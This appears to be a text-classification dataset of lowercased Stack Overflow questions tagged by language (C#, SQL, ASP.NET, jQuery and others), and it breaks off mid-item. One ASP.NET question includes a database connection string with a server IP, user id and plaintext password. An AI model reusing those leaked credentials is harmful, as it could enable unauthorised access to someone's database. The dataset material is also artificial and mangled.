mysql copy table   i am using    <pre><code>mysql_query( insert into imaegs_backup select * from images ); </code></pre>   in order to copy the information for the images table to the images_backup table. on the images table i have:   <pre><code>id     name      link  1      name1     www.aaa.com/1 2      name2     www.aaa.com/2 3      name3     www.aaa.com/3  5      name5     www.aaa.com/5 </code></pre>   as you can see id number 4 is missing from the images table. and when i am coping the tables i am getting the same result in table images_backup(which is expected). how can i copy the images table to the images_backup and i want the result to be something like this:   <pre><code>id     name      link  1      name1     www.aaa.com/1 2      name2     www.aaa.com/2 3      name3     www.aaa.com/3 4      name5     www.aaa.com/5 </code></pre>   as you can see in row 4 there is name5 and link to image 5. note: the id column is set to auto increment  but i can change that.,mysql
nested for loop c#  i have a school project and i need to complete it but its not working. i have to do a nested for loop in c#   i have managed to do the earlier projects which had the result :<br> 1 2 3 6     1 2 3 6     1 2 3 6     1 2 3 6    <pre><code> static void main(string[] args)     {        for (int row = 0; row &lt; 4; row++)         {             int x = 1;             int y = 0;             for (int column = 0; column &lt; 3; column++)             {                              console.write(x);                 y = y + x;                 x = x + 1;                }                console.write(y);             console.writeline();          }         console.readline();     } </code></pre>   but now i stuck with the second project which must give an output :    1 2 3 6<br> 2 3 4 9<br> 3 4 5 12<br> 5 6 7 18     please help anyone !!,c#
how to search word from the starting sentence  i have a code for search word on array but i did not know how to detect search word from the fist letter of the sentence.   <pre><code>searchview.setonquerytextlistener(new searchview.onquerytextlistener() {         @override         public boolean onquerytextsubmit(string query) {return  false; }          @override         public boolean onquerytextchange(string newtext) {               newtext = newtext.tolowercase();              final arraylist&lt;dictobjectmodel&gt; filteredlist = new arraylist&lt;dictobjectmodel&gt;();              for (int i = 0; i &lt; wordcombimelist.size(); i++) {                  final string text = wordcombimelist.get(i).tolowercase();                 if (text.contains(newtext)) {                      filteredlist.add(new dictobjectmodel(wordcombimelist.get(i) meancombimelist.get(i)));                 }             }             adapter = new customadapter(filteredlist);             recyclerview.setadapter(adapter);               return true;         }     }); </code></pre>   but i want to get those string also where the input string matches not only in the first characters but also any where in the string  how to do this,android
how to remove entitlements.plist from custom entitlements setting in xcode  i’m seeing this error message when uploading to testflight:   <blockquote>    error itms-90046:  invalid code signing entitlements. your application bundle s signature contains code signing entitlements that are not supported on ios. specifically  value  applinks:<strong><em>.</em></strong>.<em>/wallet/open/</em>  for key  com.apple.developer.associated-domains  in  payload/v-wallet.app/v-wallet  is not supported.    </blockquote>   how can i remove  entitlements.plist from custom entitlements setting in xcode,ios
whereparameter is not working for dropdownlist  my table structure    <strong><code>courses</code></strong>   <ul> <li><code>id</code></li> <li><code>description</code></li> </ul>   <strong><code>subjects</code></strong>   <ul> <li><code>id</code></li> <li><code>description</code></li> <li><code>courses</code>  (relation to courses table).</li> </ul>   my code as follows   <pre><code>  td&gt;    &lt;asp:dropdownlist id= ddlcourses  runat= server  datasourceid= linqcourses         datatextfield= description  datavaluefield= id /&gt;    &lt;asp:linqdatasource id= linqcourses  runat= server         contexttypename=  dataaccess.schoolstudydatacontext   select= new (description  id)         tablename= courses  /&gt; &lt;/td&gt;  &lt;td align= left  valign= top  class= style5  style= width: 124px &gt;  &lt;asp:dropdownlist id= ddlsubjects  runat= server  datasourceid= linqsubjects         datatextfield= description  datavaluefield= id /&gt;       &lt;asp:linqdatasource id= linqsubjects  runat= server        contexttypename=  dataaccess.schoolstudydatacontext   select= new (description courses id)       tablename= subjects  where= courses == @id  /&gt;       &lt;whereparameters&gt;            asp:controlparameter controlid= ddlcourses  name= id             propertyname= selectedvalue   type= int32  /&gt;      &lt;/whereprameters&gt; </code></pre>,asp.net
asp.net back button from logout goes to previous page despite caching turned off  i have an application where when i log out and press back button of browser  i am redirected to cached version of page showing only the static data(the data which comes dynamically is not shown).    now  i have all the code pertaining to disabling the caching in place. i have used the following methods in my code <br>   <ol> <li><b>response.cache.setcacheability(httpcacheability.nocache); <br>response.buffer = true; <br>response.expiresabsolute = datetime.now.adddays(-1); <br>response.expires = 0; <br>response.cachecontrol =  no-cache ;<br><br></b></li> <li><b>javascript: window.history.forward(1);<br><br></b></li> <li><b>page.response.appendheader( cache-control    no-store  no-cache  must-revalidate  post-check=0  pre-check=0 );<br><br></b></li> <li>i tried disabling the output cache setting in iis(ver 7.5) from the inetmgr but no use. </li> </ol>   in fact  i have tried all the steps i could find online in my code    <b>intresting thing is:</b>all the above solution work fine on my dev machine. they also work fine when i browse them from inetmgr(url syaing localhost://xyz) of my prod server. <b>but</b> none of these work when i actually use the website.    i use a normal anchor tag for logout and no server control on my page.    any suggestions,asp.net
"underline two letters separately  is there a way to have non-continuous underline  i want the underline stop and restart (and see that visually) where i closed and reopened the  tags..    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>w. raven  “al-wa&lt;u&gt;sh&lt;/u&gt;&lt;u&gt;sh&lt;/u&gt;aʾ”</code></pre>
 </div>
 </div>",html
extend a jquery plugin  say i have a jquery plugin like $.abc = function() {}. now i want to provide an extra module which uses the same scope as $.abc and extends its functionality. for e.g. in my abc plugin i will check if say a variable mod1 = true; if its true  then i will automatically call thoso functions of mod1.    my question is how do i write mod1 so that it can share the same namespace as my base plugin and i am able to call it from my plugin e.g. mod1.getfiles();    thankyou for your time. sorry if this is not very clear. i will explain again if you have any questions.    update: how do i call function test of pluginbar    <pre><code>$.fn.pluginfoo = function() {     ...      call function test of pluginbar     ... };  $.fn.pluginbar = function() {     ...     function test() {         alert( this is a test );      }     ... }; </code></pre>,jquery
when does .net run on unix   i ve heard of mono for developing cross platform .net applications but why does the .net framework itself include conditional compilation  for example    <pre><code>#if platform_unix ... #endif // platform_unix </code></pre>   as can be seen in the .net framework reference source for system.io.path,.net
remove focus from buttons in html form  i have a form which contains some labels below this some buttons are there problem is onload of the form the very first button is focused.how to remove the focus     html code:   <pre><code>&lt;td align= center  color= black &gt; &lt;button type= submit  class= pd  name= close  onclick= window.close(); &gt;                  close&lt;/button&gt; &lt;button type= submit   class= pd  name= submit  onclick= submit(); &gt;submit&lt;/button&gt; &lt;/td&gt; </code></pre>   please suggest some answers.,html
system.data.datarowcollection  does not contain a definition for  tolist  and no extension method  tolist  accepting a first argument  i am really stuck how to resolve this    <pre><code> public bool deletevegetationzone(ref assessment objassessment  int vegetationzoneidtodelete  string userfullname  ref string errormessage)     {         string rowfilter = @ vegetationzoneid=  + convert.tostring(vegetationzoneidtodelete);         assessment.tblvegetationzonerow[] vegetationzonerows = (assessment.tblvegetationzonerow[])objassessment.tblvegetationzone.select(rowfilter);         if ((vegetationzonerows != null) &amp;&amp; (vegetationzonerows.length != 0))         {             if (vegetationzonerows.length == 1)             {                 if (vegetationzonerows[0].vegetationzoneid &gt; 0)                 {                     vegetationzonerows[0].updatedbysystemuser = userfullname;                     vegetationzonerows[0].savetype = (int)enumcollection.savetype.removeonly;                 }                 else                 {                     vegetationzonerows[0].delete();                     objassessment.acceptchanges();                 }                  //tblthreatenedspeciessubzone                  var list = objassessment.tblthreatenedspeciessubzone.rows.tolist();                for (int i = 0; i &lt; objassessment.tblthreatenedspeciessubzone.count; i++)                 {                      foreach (assessment.tblthreatenedspeciessubzonerow threatenedspeciessubzonerow in objassessment.tblthreatenedspeciessubzone.rows)                     {                         if (threatenedspeciessubzonerow.vegetationzoneid == vegetationzoneidtodelete)                             deletethreatenedspeciessubzone(ref objassessment  threatenedspeciessubzonerow.threatenedspecieszoneid  userfullname  ref errormessage);                     }                 }                  updatespeciesgeohabitatsurveytime(ref objassessment  userfullname  ref errormessage);             }             else             {                 //cannot have more than one row with same key                 errormessage =  error: more than one record found - vegetation zone id =   + convert.tostring(vegetationzoneidtodelete);                 return false;             }         }         else         {             //must have at least one row with same key             errormessage =  error: record not found - vegetation zone id =   + convert.tostring(vegetationzoneidtodelete);             return false;         }         return true;     } </code></pre>   i have problem   tblthreatenedspecies subzone  to delete  it throws exception  error occurred. collection was modified; enumeration operation might not execute    <pre><code>var list = objassessment.tblthreatenedspeciessubzone.rows.tolist();            for (int i = 0; i &lt; objassessment.tblthreatenedspeciessubzone.count; i++)             {                  foreach (assessment.tblthreatenedspeciessubzonerow threatenedspeciessubzonerow in objassessment.tblthreatenedspeciessubzone.rows)                 {                     if (threatenedspeciessubzonerow.vegetationzoneid == vegetationzoneidtodelete)                         deletethreatenedspeciessubzone(ref objassessment  threatenedspeciessubzonerow.threatenedspecieszoneid  userfullname  ref errormessage);                 }             } </code></pre>   i tried to modified based on what you guys advised but now i have different exception.    hope someone guide me on the right path.,c#
rails create map to existing object  i have following model:   <pre><code>class post   has_many :post_tags   has_many :tags  :through =&gt; :post_tags end  class tag   has_many :post_tags   has_many :posts  :through =&gt; :post_tags    validate_uniqueness_of :name end  class posttag   validate_uniqness_of :post_id  :scope =&gt; :tag_id end </code></pre>   now if i want to crate a new tag that doesn t exsist i can use    <pre><code>post.find_by_id(x).tags.create(:name =&gt;  foo ) </code></pre>   but if the tag already esists  that will say tagexsits  but no entry in the map-table post_tags will be created.    how to do  that if the tag exists  only a map will be created,ruby-on-rails
problem with file loop and reading into map  the while loop i have while reading in from a file doesn t break. i m not sure what the problem is. if you need any more information just ask.    code:   <pre><code>#include &lt;string&gt; #include &lt;map&gt; #include &lt;fstream&gt; #include &lt;iostream&gt; #include &lt;iterator&gt;  using namespace std;  class customer { public:     string name;     string address;     customer() {} };  class purchase { public:     string product_name;     double unit_price;     int count;     purchase() {}     purchase(string pn  double up  int c) :product_name(pn)  unit_price(up)  count(c) {} };  // function object for comparison in map container struct cmp_name {     bool operator()(const customer&amp; first  const customer&amp; second)     { return first.name &lt; second.name; } };  // ostream overloads ostream&amp; operator&lt;&lt;(ostream&amp; out  const customer&amp; c) {     out &lt;&lt; c.name &lt;&lt;  \n          &lt;&lt; c.address &lt;&lt;  \n ;     return out; }  ostream&amp; operator&lt;&lt;(ostream&amp; out  const purchase&amp; p) {     out &lt;&lt; p.product_name &lt;&lt;  \n          &lt;&lt; p.unit_price &lt;&lt;  \n          &lt;&lt; p.count &lt;&lt;  \n ;     return out; }  istream&amp; operator&gt;&gt;(istream&amp; in  customer&amp; c) {     getline(in  c.name);     getline(in  c.address);     return in; }  istream&amp; operator&gt;&gt;(istream&amp; in  purchase&amp; p) {     getline(in  p.product_name);     in &gt;&gt; p.unit_price &gt;&gt; p.count;     return in; }  int main() {     cout &lt;&lt;  enter file to read orders from: \n ;     string file;     cin &gt;&gt; file;     ifstream is(file.c_str());     if (!is) cerr &lt;&lt;  file doesn t exist.\n ;      multimap&lt;customer  purchase  cmp_name&gt; orders;      while (!is.eof()) {         customer c;         purchase p;          is &gt;&gt; c;         is &gt;&gt; p;          orders.insert(make_pair(c p));     }      for (multimap&lt;customer  purchase  cmp_name&gt;::iterator it = orders.begin(); it!=orders.end(); ++it)         cout &lt;&lt; it-&gt;first &lt;&lt; it-&gt;second &lt;&lt;  \n\n ;  } </code></pre>,c++
compress image faster than bitmap.save c#  i have a project that using split bitmap 10000x10000 pixel to 100x100 pixel  then i compress it to png. my code:    <pre><code>    bitmap bitmap = new bitmap( file name );     for (int i = 0; i &lt; 100; i++)     {         for (int j = 0; j &lt; 100; j++)         {             bitmap cropped = bitmap.clone(new rectangle(i*100  j*100  100  100)  bitmap.pixelformat);             memorystream ms = new memorystream();             crop.save(ms  imageformat.png);             bitmap newsmallbitmap = new bitmap(ms);             //work something with new bitmap         }     } </code></pre>   but it run very slowly - about 1ms for a loop  and 10 seconds for all loop. do anyone have a solution with beter performance  thanks,c#
java : getting a substring from a string after certain character  i have a string    <pre><code>create table temp_username_current_timestamp..... </code></pre>   i would like to extract <code> temp_username_timestamp </code> from it. can someone please provide me some help,java
get memory address of overloaded operator   an extract of the header file of mystring class.   <pre><code>class mystring { ... public:     bool isempty(void) const;     bool operator==(mystring const &amp;)const;     bool operator==(char const *)const; ... }; </code></pre>   now i call a method of mystring in assembler  it works perfectly.   <pre><code>__declspec(naked) void injected() {     __asm {         //setup call parameters         //...         call mystring::isempty  //bool isempty(void) const;     } } </code></pre>   what worked for the method does not work for the operator. is it possible to get the address of a overloaded operator and call it in assembler    <pre><code>__declspec(naked) void injected() {     __asm {         //setup call parameters         //...         call mystring::operator==  //bool operator==(char const *)const;     } } </code></pre>,c++
jquery each() function not working as intended  i m trying to loop through all the inputs in my form and if the input does not contain a value  then do a couple of things.     here s my code so far    <pre><code>$( input ).each(function() {     if($(this+ [value!=  ] )) {         $( .requiredmark ).hide();         $(this).after(checkmark);        }        }); </code></pre>   what am i doing wrong  thank you,jquery
c#: will there be a recursion limit issue with this approach borrowed from javascript  wondering if an approach that s possible in javascript is ok to use in c#.    in a javascript application  when a large number of web requests have to be made one after the other  the ui can be kept responsive by eschewing a for-loop  and instead  using a stack (an array) and events. the next url is popped from the array in the success eventhandler  which keeps making another request until the stack is empty. can a similar approach be taken in c# with a stack  is the following legit    <pre><code>     urlstack .... // stack of urls      myrequestmaker = new webrequestmaker();   // my custom object      myrequestmaker.responsereceived += (s e) =&gt;      {          // e contains info whether the request succeeded  failed  or timed out           url = pop another url from urlstack if it s not empty         (s as webrequestmaker).makewebrequest(url);      }      url = pop first url from urlstack     myrequestmaker.makewebrequest(url); </code></pre>   (the <em>reponsereceived</em> event is raised by the webrequestmaker object also when the request times out  btw)    in javascript  you can hit maximum recursion limits using this approach  and to get around that you can wrap the method invocation  made inside the success eventhandler  in a settimeout. will invokving myrequestmaker s <em>makewebrequest</em> method inside the responsereceived eventhandler run into analogous issues,c#
what does this line means in java <pre><code>if (number &lt; 0) number = (number* -1); </code></pre>   what does this line mean  especially <code>number*</code>  i ve never seen before a statement like this in java  i m new.,java
inline `after_commit` callbacks in rails  i ve got a sidekiq job that needs to be run after the commit to avoid <a href= https://github.com/mperham/sidekiq/wiki/problems-and-troubleshooting#writing-thread-safe-code  rel= nofollow noreferrer >a common race condition</a>.   <pre><code>class user &lt; activerecord::base   ...   after_commit do |user|     if @enqueue_some_job       somejob.new(user).enqueue       @enqueue_some_job = nil     end   end    def verify     @enqueue_some_job = ...     ...     save!   end end </code></pre>   the code is a bit ugly. i d much rather be able to somehow wrap the callback inline like this:   <pre><code>class user &lt; activerecord::base   def verify     if ...       run_after_commit do |user|         somejob.new(user).enqueue       end     end     ...     save!   end end </code></pre>   does anything built into rails exist to support a syntax like this (that doesn t rely on setting a temporary instance variable)  or do any libraries exist that extend rails to add a syntax like this,ruby-on-rails
to open an image on click over another image and so on  i want to open an image on click over another image and so on.so it s a chain upto 6-7 images. can somone suggest me how can i implement it.   <pre><code>&lt;html&gt; &lt;head&gt;&lt;/head&gt; &lt;body style= background:color:red &gt;     &lt;a href= images/delivery/2.png &gt;         &lt;img src= images/delivery/1.png &gt;     &lt;/a&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   with above mentioned code i am able to open only 2 images. how can i able to access another image on click over  2.png  and so on.,html
auto expand divs  im not a web dev but i catch quickly. excuse my grammer as i dont know the correct terms for web developing.    i have a div(id=maincontainer) that has inside innercontainer which floats to the right. the maincontainer expands when comments are added but i also would like the inncontainer to expands aswel. is this possible  and how,html
in objective c  what happens if we pass nil or null to @synchronized() block   usually we will pass an object to @synchronized() block for unique reference. for example    <pre><code>+(id)shareddbhandler {     @synchronized (self) {         if (sdbhandler == nil) {             sdbhandler = [self new];         }     }     return sdbhandler; } </code></pre>   what happens if we pass nil to it,objective-c
for uiimage  use of @2x w/o duplicating files  beginner here.  my app shows an uiimage (in a scroll view).    if you are on retina device  then it should not scroll and i set the scroll view frame to be  the exact size (640x960).    if you are not on a retina device then it should scroll  so i set the scroll view frame to the pixels (480x320).    i have this working by setting the frame sizes  as mentioned  in viewdidload()    so...my question is that i have to keep both images on disk.  i have pix.png and pix@2x.png and they are <em>exactly</em> the same thing.      any help on how to handle this   maybe it is obvious  but not to me ;-)    thx!,iphone
documentation of linphone (open source sip library) for iphone  can anybody help me to find the developers documentation of linphone for ios. i want to understand the architecture and functionality of the project.    thanks in advance.,ios
accessing graph api getting errors  i am facing one problem : i am using graph api in my application. app working fine every time but there are displayed 3 errors   though there are errors app is running...    1) error  _objc_class_$_fbgraph   referenced from:     2) error  _objc_class_$_fbgraphfile   referenced from:     3) linker command failed with exit code 1 (use -v to see invocation)     for more information : i am using <strong>xcode 4.3.2</strong> what should i do to remove these errors   need help...,iphone
how can i force valadition to occur when appending an object to another object in rails   in one of my model objects i have an array of objects.     in the view i created a simple form to add additional objects to the array via a selection box.     in the controller i use the append method to add user selected objects to the array:   <pre><code>def add_adjacents   @site = site.find(params[:id])    if request.post      @site.adjacents &lt;&lt; site.find(params[:adjacents])     redirect_to :back   end        end </code></pre>   i added a validation to the model to <code>validate_the uniqueness_of :neighbors</code> but using the append method appears to be bypassing the validation.    is there a way to force the validation  or a more appropriate way to add an element to the array so that the validation occurs  been googling all over for this and going over the books  but can t find anything on this.,ruby-on-rails
function returning same value after pass by copy in java  i have a code as below where i am swapping the <code>instance variables</code> of class in <code>function</code> called <code>swapnames</code>    <pre><code>public class sam3  {     public string firstname  lastname;      public static void main(string[] args)      {            sam3 objsam1 = new sam3();         sam3 objsam2 = new sam3();          objsam1.firstname =  name1 ;         objsam2.lastname  =  name2 ;                  system.out.print(objsam1.firstname +     + objsam2.lastname);          swapnames(objsam1  objsam2);          system.out.print(objsam1.firstname +     + objsam2.lastname);     }      public static void swapnames(sam3 obj1  sam3 obj2)     {            sam3 temp = obj2;          obj2 = obj1;         obj1 = temp;          obj1.firstname =  first name ;         obj2.lastname  =  last name ;     } } </code></pre>   now the output of the code is as below   <pre><code>name1 name2 name1 name2 </code></pre>   the thing which i dont understand is i swapped the values in <code>obj1 and obj2</code> - references made to their <code>classes</code>.after that i am changing the value.    why the code is not taking effect.    thanks for reply,java
copy data from table of oracle database to sql server database through datasets and datatable  i have a table hm_item in oracle database which has 10 columns and i have a table of same name in sql server database. now i have to import data from oracle database when user click button. which is the best way for doing this,.net
potential leak at cfstringref while getting phone number from contacts  i am getting phone number from the address book for that i am using this code.   <pre><code>- (ibaction)contacts {       abpeoplepickernavigationcontroller *peoplepickercontroller = [[abpeoplepickernavigationcontroller alloc] init];     peoplepickercontroller.peoplepickerdelegate = self;     [self presentmodalviewcontroller:peoplepickercontroller animated:no];     [peoplepickercontroller release];  } - (bool)peoplepickernavigationcontroller:(abpeoplepickernavigationcontroller *)peoplepicker       shouldcontinueafterselectingperson:(abrecordref)person {       return yes; }  - (bool)peoplepickernavigationcontroller:(abpeoplepickernavigationcontroller *)peoplepicker   shouldcontinueafterselectingperson:(abrecordref)person                             property:(abpropertyid)property                           identifier:(abmultivalueidentifier)identifier { if (property == kabpersonphoneproperty) {     abmultivalueref phonenumbers = abrecordcopyvalue(person  property);     cfstringref phonenumberselected = abmultivaluecopyvalueatindex(phonenumbers  identifier);      nsstring *ansstring = (nsstring *)phonenumberselected;     if ([share_toadd length] == 0) {         [share_toadd appendstring:ansstring];     }     else {         [share_toadd appendstring:@   ];         [share_toadd appendstring:ansstring];     }      share_textfield.text = share_toadd;     // return to the main view controller.     [ self dismissmodalviewcontrolleranimated:yes ];     return no;      [share_textfield release]; }    return yes; </code></pre>   }    but i am getting potential leak at cfstringref   <pre><code> potential leak of an object allocated on line 1126   call to function  abrecordcopyvalue  returns a core foundation object with a +1 retain count (owning reference)   object allocated on line 1126 is no longer referenced after this point and has a retain count of +1 (object leaked) </code></pre>   can any one pls help me.    how can i resolve it.,iphone
installation of ios app ipa file created through apple enterprise development program  is there any better way which helps to install the app directly from ipad itself instead of using third party websites apps like itunes index.html file etc.,ios
store  change  and update opacity using javascript  i am new here and new to programming  so apologies in advance if this question is very basic and the answer is already here. i ve done a lot of searching  but i ve been unable to find the information i need.    what javascript code could i use to pull the current opacity value of a div  update that value  and reapply the updated value to that same div  in essence  i m doing an exercise that involves gradually increasing the opacity of individual divs in a large grid on the mouseover event. each individual div in the grid should have a 0.1 increase in opacity every time the mouse enters that div  up to the point of having an opacity of 1.    i already know how to do this in jquery  i m just trying to expand my knowledge of javascript at the moment.,javascript
reading ints from .txt file to vector   for some reason i am getting zero values in my vector when i try to read from a txt file.     here is my code:   <pre><code>int main(){     ifstream read( problem13.txt );     vector&lt;int&gt; source;     int n;      while (read &gt;&gt; n){         source.push_back(n);     }      for (int i = 0; i &lt; source.size(); i++)         cout &lt;&lt; source[i];     cout &lt;&lt;  finished. ;  } </code></pre>   the txt file is rather long but the format is: <code>37107287533902102798797998220837590246510135740250</code> <code>46376937677490009712648124896970078050417018260538</code> <code>74324986199524741059474233309513058123726617309629</code> <code>91942213363574161572522430563301811072406154908250</code> <code>23067588207539346171171980310421047513778063246676</code>,c++
click handler doesn t work in template-expanding directive  <a href= http://jsfiddle.net/qdhau2zb/4/  rel= nofollow >my application</a> has a custom template-expanding directive which is used to create several <code>section-toggle</code> elements.  the <code>section-toggle</code> elements represent buttons that the user clicks to toggle the display of one of several <code>section</code> elements on the page.   <pre><code>&lt;div ng-controller= navctrl &gt;      &lt;nav&gt;         &lt;section-toggler toggle= section1 &gt;toggle section 1&lt;/section-toggler&gt;         &lt;section-toggler toggle= section2 &gt;toggle section 2&lt;/section-toggler&gt;         &lt;section-toggler toggle= section3 &gt;toggle section 3&lt;/section-toggler&gt;     &lt;/nav&gt;      &lt;article&gt;         &lt;section ng-show= shownsection ==  section1  &gt;lorem ipsum dolor sit amet  consectetur adipiscing elit.&lt;/section&gt;         &lt;section ng-show= shownsection ==  section2  &gt;mauris dignissim vehicula risus ac vestibulum.&lt;/section&gt;         &lt;section ng-show= shownsection ==  section3  &gt;vivamus congue risus at tortor varius egestas.&lt;/section&gt;     &lt;/article&gt;  &lt;/div&gt; </code></pre>   my controller scope has a property called <code>shownsection</code> (a string that represents which section to show on the page) and a function called <code>togglesection()</code>  which sets the value of <code>shownsection</code> to whatever value is present in the <code>toggle</code> attribute of the <code>section-toggler</code> element.   <pre><code>app.controller( navctrl   function ($scope) {     $scope.shownsection =  section1 ;     $scope.togglesection = function(section) {         $scope.shownsection = section;      }; });  app.directive( sectiontoggler   function() {     return {         restrict:  e           scope: false          link: function(scope  element  attrs) {             element.bind( click   function(){                 scope.togglesection(attrs[ toggle ]);             });         }     } }); </code></pre>   the problem i m having is that the directive doesn t appear to change the controller s <code>$scope.shownsection</code> value  which would in turn show and hide the individual sections.    i thought that the <code>scope = false</code> in the directive definition object would force the directive to use <code>navctrl</code> s scope  and that <code>attrs( toggle )</code> would get the value of the <code>section-toggler</code> s <code>toggle</code> attribute.    to no avail  i have tried using <code>this.attr( toggle )</code> and <code>element.attr( toggle )</code> in place of <code>attrs[ toggle ]</code> (none of which work)  and i ve tried changing <code>$scope.shownsection = section</code> in the controller to <code>shownsection = section</code>.    here s a <a href= http://jsfiddle.net/qdhau2zb/4/  rel= nofollow >jsfiddle</a>.,angularjs
good quality c# code  where can i find samples of c# code written by top programmers  for learning,c#
how to write a string to a file in c   how to convert this php function into c    <pre><code>function adx_store_data(filepath  data) {       $fp = fopen(filepath  ab+ );       if($fp)       {           fputs($fp data);           fclose($fp);       } } </code></pre>,c
uncaught exception in event listener  i am explicitly throwing an exception in action performed method and not catching it   so edt exception handler should catch it and ideally edt should stop working but when i click on the button of the frame   edt is again started . how a thread can be restarted,java
c# thousand separator issue with decimal.tryparse  i am not sure how this is able to be parsed correctly in c# but i would like it to fail where the case where the comma is not separated every repeatable three value. example: 1 123.23 should pass but 11 23.23 should fail in my sense. but the actual output is that tryparse seems to always return true regardless of where the position of comma is before decimal.    edit: answer with regex is being accepted since it is found that this is a bug. thank you.   <pre><code> string price =  1 1 2 3.23 ;  decimal outputvalue = 0;  var allowedstyles = (numberstyles.allowdecimalpoint | numberstyles.allowthousands);    if (decimal.tryparse(price  allowedstyles  cultureinfo.getcultureinfo( en-us )  out outputvalue))  {     console.writeline( pass );  } </code></pre>,c#
how would you perform a curl function on a site after logging into the site using a curl post   i am attempting to login to reddit using their login api - <a href= https://github.com/reddit/reddit/wiki/api%3a-login  rel= nofollow >https://github.com/reddit/reddit/wiki/api%3a-login</a>. i am able to successfully authenticate and store a cookie using   <pre><code>$ch = curl_init();  curl_setopt($ch  curlopt_url   http://www.reddit.com/api/login/username ); curl_setopt ($ch  curlopt_referer   http://www.reddit.com ); curl_setopt($ch  curlopt_returntransfer  1);  curl_setopt($ch  curlopt_followlocation  0);  curl_setopt($ch  curlopt_post  1);  $postdata =  api_type=json&amp;user=username&amp;passwd=password ;  curl_setopt($ch  curlopt_postfields  $postdata); curl_setopt ($ch  curlopt_cookiejar   cookie.txt );  curl_exec($ch); </code></pre>   but when i add   <pre><code>curl_setopt($ch  curlopt_url   http://www.reddit.com/r/pics ); curl_setopt($ch  curlopt_returntransfer  1); $data = curl_exec($ch); echo $data; </code></pre>   to the end of the authentication code i receive the  page not found  page from reddit  even though i am succesfully logged in and the page seems to indicate that i am indeed in the /r/pics subreddit. i am wondering if there is some sort of redirect happening or if any options are missing or incorrect.,php
using a checkbox to change an existing database value  i currently have a checkbox that remains checked or unchecked based on the value in the database.  i want the checkbox to be able to change dynamically  so that if it s checked upon loading the page and i change it to unchecked  it will change the database value as well as redirect to a different page.  right now i am unable to change the database value and redirect to a different page.  i have autopost back set to true currently.   <pre><code>protected void page_load(object sender  eventargs e) {        using (sqlconnection dataconnection = new sqlconnection(@ data source=184.168.47.21;initial catalog=recruitpursuit;persist security info=true;user id=recruitpursuit;password=recruit20!8 ))     using (sqlcommand datacommand =             new sqlcommand( select sporthaspositions from sport where sport_id = @sport_id   dataconnection))      {         sqlparameter param2 = new sqlparameter();         param2.parametername =  @sport_id ;         param2.value = session[ sportid ];         datacommand.parameters.add(param2);          dataconnection.open();         sporthaspositions = datacommand.executescalar().tostring();     }      if (sporthaspositions ==  no )     {         checkbox1.checked = true;         panel1.visible = false;     }      if (sporthaspositions ==  yes )     {         checkbox1.checked = false;         panel1.visible = true;     }  }  protected void checkbox1_checkedchanged(object sender  eventargs e) {     if (checkbox1.checked == false)     {         string constring = @ data source=184.168.47.21;initial catalog=recruitpursuit;persist security info=true;user id=recruitpursuit;password=recruit20!8 ;         sqlconnection con = new sqlconnection(constring);          //create a command behavior object         string cmdstring =  update sport set sporthaspositions = @sporthaspositions where sport_id = @sport_id ;         sqlcommand cmd = new sqlcommand(cmdstring  con);          sqlparameter param0 = new sqlparameter();         param0.parametername =  @sporthaspositions ;         param0.value =  yes ;         cmd.parameters.add(param0);          sqlparameter param1 = new sqlparameter();         param1.parametername =  @sport_id ;         param1.value = session[ sportid ];         cmd.parameters.add(param1);          int added = 0;         try         {             con.open();             added = cmd.executenonquery();         }          catch (exception err)         {             // output.text = err.message;         }          finally         {             con.close();         }         response.redirect( pick positions.aspx );     }         if (checkbox1.checked == true)         {             string constring = @ data source=184.168.47.21;initial catalog=recruitpursuit;persist security info=true;user id=recruitpursuit;password=recruit20!8 ;             sqlconnection con = new sqlconnection(constring);              //create a command behavior object             string cmdstring =  update sport set sporthaspositions = @sporthaspositions where sport_id = @sport_id ;             sqlcommand cmd = new sqlcommand(cmdstring  con);              sqlparameter param0 = new sqlparameter();             param0.parametername =  @sporthaspositions ;             param0.value =  no ;             cmd.parameters.add(param0);              sqlparameter param1 = new sqlparameter();             param1.parametername =  @sport_id ;             param1.value = session[ sportid ];             cmd.parameters.add(param1);              int added = 0;             try             {                 con.open();                 added = cmd.executenonquery();             }              catch (exception err)             {                 // output.text = err.message;             }              finally             {                 con.close();             }           }  } </code></pre>,asp.net
how to list alphabetically by name and then by most recent sql   i need to order my table first by name alphabetically and then within the name the date must be most recent first    here is what ive tried:   <pre><code>select me_borrower.abn_bor_no  me_borrower.abn_bor_name  abn_access_no  abn_loan_date from me_borrower left outer join me_loan on me_borrower.abn_bor_no = me_loan.abn_bor_no where abn_town= leicester  or abn_town= hinkley  group by me_borrower.abn_bor_name order by abn_loan_date asc; </code></pre>,sql
how to test if a match exists in a string if the match can be a single string or a tuple of strings   i m attempting to do straight string matches from text files. sometimes a match means a string contains multiple target strings. currently i have code that looks like   <pre><code>interesting_matches = [      sys/bootdisk.py         engine stalled for          changed to stalled)        dsr failure        detected idi failure        idi_shallow_verify_failure        malformed block history        out of order sequence message on        port reset timeout of        gmp_info        test_thread         panic @ time         : *** failed assertion        filesystem full  ]      for match in interesting_matches:         # iterate through simple matches.         if match in line:             processed_line_data = self._process_line(                 match                  line                  line_datetime                  line_num                  current_version)      if  kern_sig  in line and  pid  in line:         processed_line_data = self._process_line(             ( kern_sig    pid )              line              line_datetime              line_num              current_version)      if  vfs_export  in line and  ignoring  in line:         processed_line_data = self._process_line(             ( vfs_export    ignoring )              line              line_datetime              line_num              current_version)      if  job_d  in line and          state transition from state   in line and           took longer than   in line:         processed_line_data = self._process_line(             (                  job_d                    state transition from state                     took longer than  )              line              line_datetime              line_num              current_version)      if processed_line_data is not none:         return_list.append(processed_line_data) </code></pre>   what i would love to do is something similar to   <pre><code>interesting_matches = [          sys/bootdisk.py             engine stalled for              changed to stalled)            dsr failure            detected idi failure            idi_shallow_verify_failure            malformed block history            out of order sequence message on            port reset timeout of            gmp_info            test_thread             panic @ time             : *** failed assertion            filesystem full           ( kern_sig    pid )          ( vfs_export    ignoring )          ( job_d    state transition from state     took longer than  ) ]  for matches in interesting_matches      if any(match in line for match in matches):            processed_line_data = self._process_line(                match                 line                 line_datetime                 line_num                 current_version) </code></pre>   but the mixing of tuples and strings causes a value error stating that you can t compare strings and tuples.    how can i write a single comparison if i want to have single and multiple strings to check for     <strong>edit:</strong>    here s working code based on sean s answer   <pre><code>interesting_matches = [     ( sys/bootdisk.py  )      (  engine stalled for   )      (  changed to stalled)  )      ( dsr failure  )      ( detected idi failure  )      ( idi_shallow_verify_failure  )      ( malformed block history  